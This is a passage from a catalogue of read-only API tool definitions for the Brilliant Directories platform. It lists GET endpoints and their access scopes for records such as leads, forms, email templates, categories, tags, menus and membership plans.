advanced_endpoints. brilliantdirectories_get_api_v2_email_schedule_count (read) — Count Email Campaigns via GET /api/v2/email_schedule/count GET /api/v1/brilliantdirectories/api/v2/email_schedule/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_schedule_fields (read) — List the fields of the Email Campaigns model via GET /api/v2/email_schedule/fields GET /api/v1/brilliantdirectories/api/v2/email_schedule/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_schedule_get (read) — List Email Campaigns via GET /api/v2/email_schedule/get GET /api/v1/brilliantdirectories/api/v2/email_schedule/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_schedule_get_by_email_id (read) — Read a single email campaign by its ID via GET /api/v2/email_schedule/get/{email_id} GET /api/v1/brilliantdirectories/api/v2/email_schedule/get/{email_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_templates_count (read) — Count Email Templates via GET /api/v2/email_templates/count GET /api/v1/brilliantdirectories/api/v2/email_templates/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_templates_fields (read) — List the fields of the Email Templates model via GET /api/v2/email_templates/fields GET /api/v1/brilliantdirectories/api/v2/email_templates/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_templates_get (read) — List Email Templates via GET /api/v2/email_templates/get GET /api/v1/brilliantdirectories/api/v2/email_templates/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_templates_get_by_email_id (read) — Read a single email template by its ID via GET /api/v2/email_templates/get/{email_id} GET /api/v1/brilliantdirectories/api/v2/email_templates/get/{email_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_count (read) — Count Forms via GET /api/v2/form/count GET /api/v1/brilliantdirectories/api/v2/form/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_fields (read) — List the fields of the Forms model via GET /api/v2/form/fields GET /api/v1/brilliantdirectories/api/v2/form/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_fields_count (read) — Count Form Fields via GET /api/v2/form_fields/count GET /api/v1/brilliantdirectories/api/v2/form_fields/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_fields_fields (read) — List the fields of the Form Fields model via GET /api/v2/form_fields/fields GET /api/v1/brilliantdirectories/api/v2/form_fields/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_fields_get (read) — List Form Fields via GET /api/v2/form_fields/get GET /api/v1/brilliantdirectories/api/v2/form_fields/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_fields_get_by_field_id (read) — Read a single form field by its ID via GET /api/v2/form_fields/get/{field_id} GET /api/v1/brilliantdirectories/api/v2/form_fields/get/{field_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_get (read) — List Forms via GET /api/v2/form/get GET /api/v1/brilliantdirectories/api/v2/form/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_get_by_form_id (read) — Read a single form by its ID via GET /api/v2/form/get/{form_id} GET /api/v1/brilliantdirectories/api/v2/form/get/{form_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_inquiries_count (read) — Count Form Inquiries via GET /api/v2/form_inquiries/count GET /api/v1/brilliantdirectories/api/v2/form_inquiries/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_inquiries_fields (read) — List the fields of the Form Inquiries model via GET /api/v2/form_inquiries/fields GET /api/v1/brilliantdirectories/api/v2/form_inquiries/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_inquiries_get (read) — List Form Inquiries via GET /api/v2/form_inquiries/get GET /api/v1/brilliantdirectories/api/v2/form_inquiries/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_form_inquiries_get_by_inquiry_id (read) — Read a single form inquiry by its ID via GET /api/v2/form_inquiries/get/{inquiry_id} GET /api/v1/brilliantdirectories/api/v2/form_inquiries/get/{inquiry_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_image_settings_count (read) — Count Image Settings via GET /api/v2/image_settings/count GET /api/v1/brilliantdirectories/api/v2/image_settings/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_image_settings_fields (read) — List the fields of the Image Settings model via GET /api/v2/image_settings/fields GET /api/v1/brilliantdirectories/api/v2/image_settings/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_image_settings_get (read) — List Image Settings via GET /api/v2/image_settings/get GET /api/v1/brilliantdirectories/api/v2/image_settings/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_image_settings_get_by_setting_id (read) — Read a single image setting by its ID via GET /api/v2/image_settings/get/{setting_id} GET /api/v1/brilliantdirectories/api/v2/image_settings/get/{setting_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_groups_count (read) — Count Installer Groups via GET /api/v2/installer_groups/count GET /api/v1/brilliantdirectories/api/v2/installer_groups/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_groups_fields (read) — List the fields of the Installer Groups model via GET /api/v2/installer_groups/fields GET /api/v1/brilliantdirectories/api/v2/installer_groups/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_groups_get (read) — List Installer Groups via GET /api/v2/installer_groups/get GET /api/v1/brilliantdirectories/api/v2/installer_groups/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_groups_get_by_install_group_id (read) — Read a single installer group by its ID via GET /api/v2/installer_groups/get/{install_group_id} GET /api/v1/brilliantdirectories/api/v2/installer_groups/get/{install_group_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_steps_count (read) — Count Installer Steps via GET /api/v2/installer_steps/count GET /api/v1/brilliantdirectories/api/v2/installer_steps/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_steps_fields (read) — List the fields of the Installer Steps model via GET /api/v2/installer_steps/fields GET /api/v1/brilliantdirectories/api/v2/installer_steps/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_steps_get (read) — List Installer Steps via GET /api/v2/installer_steps/get GET /api/v1/brilliantdirectories/api/v2/installer_steps/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_installer_steps_get_by_step_id (read) — Read a single installer step by its ID via GET /api/v2/installer_steps/get/{step_id} GET /api/v1/brilliantdirectories/api/v2/installer_steps/get/{step_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_lead_matches_count (read) — Count Lead Matches via GET /api/v2/lead_matches/count GET /api/v1/brilliantdirectories/api/v2/lead_matches/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_lead_matches_fields (read) — List the fields of the Lead Matches model via GET /api/v2/lead_matches/fields GET /api/v1/brilliantdirectories/api/v2/lead_matches/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_lead_matches_get (read) — List Lead Matches via GET /api/v2/lead_matches/get GET /api/v1/brilliantdirectories/api/v2/lead_matches/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_lead_matches_get_by_match_id (read) — Read a single lead match by its ID via GET /api/v2/lead_matches/get/{match_id} GET /api/v1/brilliantdirectories/api/v2/lead_matches/get/{match_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_leads_count (read) — Count Leads via GET /api/v2/leads/count GET /api/v1/brilliantdirectories/api/v2/leads/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_leads_fields (read) — List the fields of the Leads model via GET /api/v2/leads/fields GET /api/v1/brilliantdirectories/api/v2/leads/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_leads_get (read) — List Leads via GET /api/v2/leads/get GET /api/v1/brilliantdirectories/api/v2/leads/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_leads_get_by_lead_id (read) — Read the data of a single lead based on the lead_id via GET /api/v2/leads/get/{lead_id} GET /api/v1/brilliantdirectories/api/v2/leads/get/{lead_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_list_countries_count (read) — Count Countries via GET /api/v2/list_countries/count GET /api/v1/brilliantdirectories/api/v2/list_countries/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_countries_fields (read) — List the fields of the Countries model via GET /api/v2/list_countries/fields GET /api/v1/brilliantdirectories/api/v2/list_countries/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_countries_get (read) — List Countries via GET /api/v2/list_countries/get GET /api/v1/brilliantdirectories/api/v2/list_countries/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_countries_get_by_country_id (read) — Read a single country by its ID via GET /api/v2/list_countries/get/{country_id} GET /api/v1/brilliantdirectories/api/v2/list_countries/get/{country_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_professions_count (read) — Count Top Categories via GET /api/v2/list_professions/count GET /api/v1/brilliantdirectories/api/v2/list_professions/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_professions_fields (read) — List the fields of the Top Categories model via GET /api/v2/list_professions/fields GET /api/v1/brilliantdirectories/api/v2/list_professions/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_professions_get (read) — Read all top-level categories with pagination and filtering via GET /api/v2/list_professions/get GET /api/v1/brilliantdirectories/api/v2/list_professions/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_professions_get_by_profession_id (read) — Read a single top-level category by profession_id via GET /api/v2/list_professions/get/{profession_id} GET /api/v1/brilliantdirectories/api/v2/list_professions/get/{profession_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_professions_tree (read) — Get full category tree (all top categories with nested sub and sub-sub categories) via GET /api/v2/list_professions/tree GET /api/v1/brilliantdirectories/api/v2/list_professions/tree. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_professions_tree_by_profession_id (read) — Get a single top category with its full nested tree via GET /api/v2/list_professions/tree/{profession_id} GET /api/v1/brilliantdirectories/api/v2/list_professions/tree/{profession_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_count (read) — Count Pages via GET /api/v2/list_seo/count GET /api/v1/brilliantdirectories/api/v2/list_seo/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_fields (read) — List the fields of the Pages model via GET /api/v2/list_seo/fields GET /api/v1/brilliantdirectories/api/v2/list_seo/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_get (read) — List Pages via GET /api/v2/list_seo/get GET /api/v1/brilliantdirectories/api/v2/list_seo/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_get_by_seo_id (read) — Read a single page by its ID via GET /api/v2/list_seo/get/{seo_id} GET /api/v1/brilliantdirectories/api/v2/list_seo/get/{seo_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_template_count (read) — Count SEO Templates via GET /api/v2/list_seo_template/count GET /api/v1/brilliantdirectories/api/v2/list_seo_template/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_template_fields (read) — List the fields of the SEO Templates model via GET /api/v2/list_seo_template/fields GET /api/v1/brilliantdirectories/api/v2/list_seo_template/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_template_get (read) — List SEO Templates via GET /api/v2/list_seo_template/get GET /api/v1/brilliantdirectories/api/v2/list_seo_template/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_seo_template_get_by_template_id (read) — Read a single SEO template by its ID via GET /api/v2/list_seo_template/get/{template_id} GET /api/v1/brilliantdirectories/api/v2/list_seo_template/get/{template_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_services_count (read) — Count Sub Categories via GET /api/v2/list_services/count GET /api/v1/brilliantdirectories/api/v2/list_services/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_services_fields (read) — List the fields of the Sub Categories model via GET /api/v2/list_services/fields GET /api/v1/brilliantdirectories/api/v2/list_services/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_services_get (read) — Read all subcategories with pagination and filtering via GET /api/v2/list_services/get GET /api/v1/brilliantdirectories/api/v2/list_services/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_services_get_by_service_id (read) — Read a single subcategory by service_id via GET /api/v2/list_services/get/{service_id} GET /api/v1/brilliantdirectories/api/v2/list_services/get/{service_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_services_tree_by_service_id (read) — Get a subcategory with its sub-subcategories via GET /api/v2/list_services/tree/{service_id} GET /api/v1/brilliantdirectories/api/v2/list_services/tree/{service_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_states_count (read) — Count States via GET /api/v2/list_states/count GET /api/v1/brilliantdirectories/api/v2/list_states/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_states_fields (read) — List the fields of the States model via GET /api/v2/list_states/fields GET /api/v1/brilliantdirectories/api/v2/list_states/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_states_get (read) — List States via GET /api/v2/list_states/get GET /api/v1/brilliantdirectories/api/v2/list_states/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_list_states_get_by_region_id (read) — Read a single state/region by its ID via GET /api/v2/list_states/get/{region_id} GET /api/v1/brilliantdirectories/api/v2/list_states/get/{region_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_cities_count (read) — Count Location Cities via GET /api/v2/location_cities/count GET /api/v1/brilliantdirectories/api/v2/location_cities/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_cities_fields (read) — List the fields of the Location Cities model via GET /api/v2/location_cities/fields GET /api/v1/brilliantdirectories/api/v2/location_cities/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_cities_get (read) — List Location Cities via GET /api/v2/location_cities/get GET /api/v1/brilliantdirectories/api/v2/location_cities/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_cities_get_by_locaiton_id (read) — Read a single location city by its ID via GET /api/v2/location_cities/get/{locaiton_id} GET /api/v1/brilliantdirectories/api/v2/location_cities/get/{locaiton_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_states_count (read) — Count Location States Mapping via GET /api/v2/location_states/count GET /api/v1/brilliantdirectories/api/v2/location_states/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_states_fields (read) — List the fields of the Location States Mapping model via GET /api/v2/location_states/fields GET /api/v1/brilliantdirectories/api/v2/location_states/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_states_get (read) — List Location States Mapping via GET /api/v2/location_states/get GET /api/v1/brilliantdirectories/api/v2/location_states/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_location_states_get_by_location_id (read) — Read a single location state mapping by its ID via GET /api/v2/location_states/get/{location_id} GET /api/v1/brilliantdirectories/api/v2/location_states/get/{location_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_marketing_offers_count (read) — Count Marketing Offers via GET /api/v2/marketing_offers/count GET /api/v1/brilliantdirectories/api/v2/marketing_offers/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_marketing_offers_fields (read) — List the fields of the Marketing Offers model via GET /api/v2/marketing_offers/fields GET /api/v1/brilliantdirectories/api/v2/marketing_offers/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_marketing_offers_get (read) — List Marketing Offers via GET /api/v2/marketing_offers/get GET /api/v1/brilliantdirectories/api/v2/marketing_offers/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_marketing_offers_get_by_id (read) — Read a single marketing offer by its ID via GET /api/v2/marketing_offers/get/{id} GET /api/v1/brilliantdirectories/api/v2/marketing_offers/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menu_items_count (read) — Count Menu Items via GET /api/v2/menu_items/count GET /api/v1/brilliantdirectories/api/v2/menu_items/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menu_items_fields (read) — List the fields of the Menu Items model via GET /api/v2/menu_items/fields GET /api/v1/brilliantdirectories/api/v2/menu_items/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menu_items_get (read) — List Menu Items via GET /api/v2/menu_items/get GET /api/v1/brilliantdirectories/api/v2/menu_items/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menu_items_get_by_menu_item_id (read) — Read a single menu item by its ID via GET /api/v2/menu_items/get/{menu_item_id} GET /api/v1/brilliantdirectories/api/v2/menu_items/get/{menu_item_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menus_count (read) — Count Menus via GET /api/v2/menus/count GET /api/v1/brilliantdirectories/api/v2/menus/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menus_fields (read) — List the fields of the Menus model via GET /api/v2/menus/fields GET /api/v1/brilliantdirectories/api/v2/menus/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menus_get (read) — List Menus via GET /api/v2/menus/get GET /api/v1/brilliantdirectories/api/v2/menus/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_menus_get_by_menu_id (read) — Read a single menu by its ID via GET /api/v2/menus/get/{menu_id} GET /api/v1/brilliantdirectories/api/v2/menus/get/{menu_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_messages_count (read) — Count Messages via GET /api/v2/messages/count GET /api/v1/brilliantdirectories/api/v2/messages/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_messages_fields (read) — List the fields of the Messages model via GET /api/v2/messages/fields GET /api/v1/brilliantdirectories/api/v2/messages/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_messages_get (read) — List Messages via GET /api/v2/messages/get GET /api/v1/brilliantdirectories/api/v2/messages/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_messages_get_by_id (read) — Read a single message by its ID via GET /api/v2/messages/get/{id} GET /api/v1/brilliantdirectories/api/v2/messages/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_notes_count (read) — Count Notes via GET /api/v2/notes/count GET /api/v1/brilliantdirectories/api/v2/notes/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_notes_fields (read) — List the fields of the Notes model via GET /api/v2/notes/fields GET /api/v1/brilliantdirectories/api/v2/notes/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_notes_get (read) — List Notes via GET /api/v2/notes/get GET /api/v1/brilliantdirectories/api/v2/notes/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_notes_get_by_note_id (read) — Read a single note by its ID via GET /api/v2/notes/get/{NOTE_ID} GET /api/v1/brilliantdirectories/api/v2/notes/get/{NOTE_ID}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_password_retrieval_sessions_count (read) — Count Password Retrieval Sessions via GET /api/v2/password_retrieval_sessions/count GET /api/v1/brilliantdirectories/api/v2/password_retrieval_sessions/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_password_retrieval_sessions_fields (read) — List the fields of the Password Retrieval Sessions model via GET /api/v2/password_retrieval_sessions/fields GET /api/v1/brilliantdirectories/api/v2/password_retrieval_sessions/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_password_retrieval_sessions_get (read) — List Password Retrieval Sessions via GET /api/v2/password_retrieval_sessions/get GET /api/v1/brilliantdirectories/api/v2/password_retrieval_sessions/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_password_retrieval_sessions_get_by_retrieval_session_id (read) — Read a single password retrieval session by its ID via GET /api/v2/password_retrieval_sessions/get/{retrieval_session_id} GET /api/v1/brilliantdirectories/api/v2/password_retrieval_sessions/get/{retrieval_session_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_plugin_records_count (read) — Count Plugin Records via GET /api/v2/plugin_records/count GET /api/v1/brilliantdirectories/api/v2/plugin_records/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_plugin_records_fields (read) — List the fields of the Plugin Records model via GET /api/v2/plugin_records/fields GET /api/v1/brilliantdirectories/api/v2/plugin_records/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_plugin_records_get (read) — List Plugin Records via GET /api/v2/plugin_records/get GET /api/v1/brilliantdirectories/api/v2/plugin_records/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_plugin_records_get_by_plugin_record_id (read) — Read a single plugin record by its ID via GET /api/v2/plugin_records/get/{plugin_record_id} GET /api/v1/brilliantdirectories/api/v2/plugin_records/get/{plugin_record_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_post_transactions_count (read) — Count Post Transactions via GET /api/v2/post_transactions/count GET /api/v1/brilliantdirectories/api/v2/post_transactions/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_post_transactions_fields (read) — List the fields of the Post Transactions model via GET /api/v2/post_transactions/fields GET /api/v1/brilliantdirectories/api/v2/post_transactions/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_post_transactions_get (read) — List Post Transactions via GET /api/v2/post_transactions/get GET /api/v1/brilliantdirectories/api/v2/post_transactions/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_post_transactions_get_by_post_transaction_id (read) — Read a single post transaction by its ID via GET /api/v2/post_transactions/get/{post_transaction_id} GET /api/v1/brilliantdirectories/api/v2/post_transactions/get/{post_transaction_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_redirect_301_count (read) — Count Redirects via GET /api/v2/redirect_301/count GET /api/v1/brilliantdirectories/api/v2/redirect_301/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_redirect_301_fields (read) — List the fields of the Redirects model via GET /api/v2/redirect_301/fields GET /api/v1/brilliantdirectories/api/v2/redirect_301/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_redirect_301_get (read) — List Redirects via GET /api/v2/redirect_301/get GET /api/v1/brilliantdirectories/api/v2/redirect_301/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_redirect_301_get_by_redirect_id (read) — Read a single redirect by its ID via GET /api/v2/redirect_301/get/{redirect_id} GET /api/v1/brilliantdirectories/api/v2/redirect_301/get/{redirect_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_services_count (read) — Count User Services via GET /api/v2/rel_services/count GET /api/v1/brilliantdirectories/api/v2/rel_services/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_services_fields (read) — List the fields of the User Services model via GET /api/v2/rel_services/fields GET /api/v1/brilliantdirectories/api/v2/rel_services/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_services_get (read) — List User Services via GET /api/v2/rel_services/get GET /api/v1/brilliantdirectories/api/v2/rel_services/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_services_get_by_rel_id (read) — Read a single user service by its ID via GET /api/v2/rel_services/get/{rel_id} GET /api/v1/brilliantdirectories/api/v2/rel_services/get/{rel_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_tags_count (read) — Count Tag Relationships via GET /api/v2/rel_tags/count GET /api/v1/brilliantdirectories/api/v2/rel_tags/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_tags_fields (read) — List the fields of the Tag Relationships model via GET /api/v2/rel_tags/fields GET /api/v1/brilliantdirectories/api/v2/rel_tags/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_tags_get (read) — List Tag Relationships via GET /api/v2/rel_tags/get GET /api/v1/brilliantdirectories/api/v2/rel_tags/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_rel_tags_get_by_id (read) — Read a single tag relationship by its ID via GET /api/v2/rel_tags/get/{id} GET /api/v1/brilliantdirectories/api/v2/rel_tags/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_service_areas_count (read) — Count Service Areas via GET /api/v2/service_areas/count GET /api/v1/brilliantdirectories/api/v2/service_areas/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_service_areas_fields (read) — List the fields of the Service Areas model via GET /api/v2/service_areas/fields GET /api/v1/brilliantdirectories/api/v2/service_areas/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_service_areas_get (read) — List Service Areas via GET /api/v2/service_areas/get GET /api/v1/brilliantdirectories/api/v2/service_areas/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_service_areas_get_by_area_id (read) — Read a single service area by its ID via GET /api/v2/service_areas/get/{area_id} GET /api/v1/brilliantdirectories/api/v2/service_areas/get/{area_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_sidebars_count (read) — Count Sidebars via GET /api/v2/sidebars/count GET /api/v1/brilliantdirectories/api/v2/sidebars/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_sidebars_fields (read) — List the fields of the Sidebars model via GET /api/v2/sidebars/fields GET /api/v1/brilliantdirectories/api/v2/sidebars/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_sidebars_get (read) — List Sidebars via GET /api/v2/sidebars/get GET /api/v1/brilliantdirectories/api/v2/sidebars/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_sidebars_get_by_sidebar_id (read) — Read a single sidebar by its ID via GET /api/v2/sidebars/get/{sidebar_id} GET /api/v1/brilliantdirectories/api/v2/sidebars/get/{sidebar_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_site_info_get (read) — Read the current website's public configuration ($w projection) via GET /api/v2/site_info/get GET /api/v1/brilliantdirectories/api/v2/site_info/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_site_log_get (read) — Read a filesystem log file under /bd_logs/ (super API key only) via GET /api/v2/site_log/get GET /api/v1/brilliantdirectories/api/v2/site_log/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_smart_lists_count (read) — Count Smart Lists via GET /api/v2/smart_lists/count GET /api/v1/brilliantdirectories/api/v2/smart_lists/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_smart_lists_fields (read) — List the fields of the Smart Lists model via GET /api/v2/smart_lists/fields GET /api/v1/brilliantdirectories/api/v2/smart_lists/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_smart_lists_get (read) — List Smart Lists via GET /api/v2/smart_lists/get GET /api/v1/brilliantdirectories/api/v2/smart_lists/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_smart_lists_get_by_smart_list_id (read) — Read a single smart list by its ID via GET /api/v2/smart_lists/get/{smart_list_id} GET /api/v1/brilliantdirectories/api/v2/smart_lists/get/{smart_list_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_subscription_types_count (read) — Count Membership Plans via GET /api/v2/subscription_types/count GET /api/v1/brilliantdirectories/api/v2/subscription_types/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_subscription_types_fields (read) — List the fields of the Membership Plans model via GET /api/v2/subscription_types/fields GET /api/v1/brilliantdirectories/api/v2/subscription_types/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_subscription_types_get (read) — List Membership Plans via GET /api/v2/subscription_types/get GET /api/v1/brilliantdirectories/api/v2/subscription_types/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_subscription_types_get_by_subscription_id (read) — Read a single membership plan by its ID via GET /api/v2/subscription_types/get/{subscription_id} GET /api/v1/brilliantdirectories/api/v2/subscription_types/get/{subscription_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_groups_count (read) — Count Tag Groups via GET /api/v2/tag_groups/count GET /api/v1/brilliantdirectories/api/v2/tag_groups/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_groups_fields (read) — List the fields of the Tag Groups model via GET /api/v2/tag_groups/fields GET /api/v1/brilliantdirectories/api/v2/tag_groups/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_groups_get (read) — List Tag Groups via GET /api/v2/tag_groups/get GET /api/v1/brilliantdirectories/api/v2/tag_groups/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_groups_get_by_id (read) — Read a single tag group by its ID via GET /api/v2/tag_groups/get/{id} GET /api/v1/brilliantdirectories/api/v2/tag_groups/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_types_count (read) — Count Tag Types via GET /api/v2/tag_types/count GET /api/v1/brilliantdirectories/api/v2/tag_types/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_types_fields (read) — List the fields of the Tag Types model via GET /api/v2/tag_types/fields GET /api/v1/brilliantdirectories/api/v2/tag_types/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_types_get (read) — List Tag Types via GET /api/v2/tag_types/get GET /api/v1/brilliantdirectories/api/v2/tag_types/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tag_types_get_by_id (read) — Read a single tag type by its ID via GET /api/v2/tag_types/get/{id} GET /api/v1/brilliantdirectories/api/v2/tag_types/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tags_count (read) — Count Tags via GET /api/v2/tags/count GET /api/v1/brilliantdirectories/api/v2/tags/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tags_fields (read) — List the fields of the Tags model via GET /api/v2/tags/fields GET /api/v1/brilliantdirectories/api/v2/tags/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tags_get (read) — List Tags via GET /api/v2/tags/get GET /api/v1/brilliantdirectories/api/v2/tags/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_tags_get_by_id (read) — Read a single tag by its ID via GET /api/v2/tags/get/{id} GET /api/v1/brilliantdirectories/api/v2/tags/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_token_verify (read) — Check if the API Key is valid via GET /api/v2/token/verify GET /api/v1/brilliantdirectories/api/v2/token/verify. Scopes: 